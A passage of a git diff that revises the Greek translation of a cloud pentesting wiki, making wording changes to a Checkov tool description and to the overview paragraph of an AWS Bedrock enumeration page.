-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** είναι ένα static code analysis tool για infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** είναι ένα static code analysis εργαλείο για infrastructure-as-code.
 
 ## References
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md
index fad024455..f0cab6212 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md
@@ -4,7 +4,7 @@
 
 ## Επισκόπηση
 
-Το Amazon Bedrock είναι μια πλήρως διαχειριζόμενη υπηρεσία που διευκολύνει τη δημιουργία και την κλιμάκωση εφαρμογών generative AI χρησιμοποιώντας foundation models (FMs) από κορυφαίες AI startups και την Amazon. Το Bedrock παρέχει πρόσβαση σε διάφορα FMs μέσω ενός ενιαίου API, επιτρέποντας στους προγραμματιστές να επιλέξουν το πιο κατάλληλο μοντέλο για τις συγκεκριμένες περιπτώσεις χρήσης τους χωρίς να διαχειρίζονται την υποκείμενη υποδομή.
+Το Amazon Bedrock είναι μια πλήρως διαχειριζόμενη υπηρεσία που διευκολύνει την κατασκευή και την κλιμάκωση εφαρμογών generative AI χρησιμοποιώντας θεμελιώδη μοντέλα (FMs) από κορυφαίες AI startups και την Amazon. Το Bedrock παρέχει πρόσβαση σε διάφορα FMs μέσω ενός ενιαίου API, επιτρέποντας στους προγραμματιστές να επιλέξουν το πλέον κατάλληλο μοντέλο για τις συγκεκριμένες περιπτώσεις χρήσης τους χωρίς να διαχειρίζονται την υποκείμενη υποδομή.
 
 ## Post Exploitation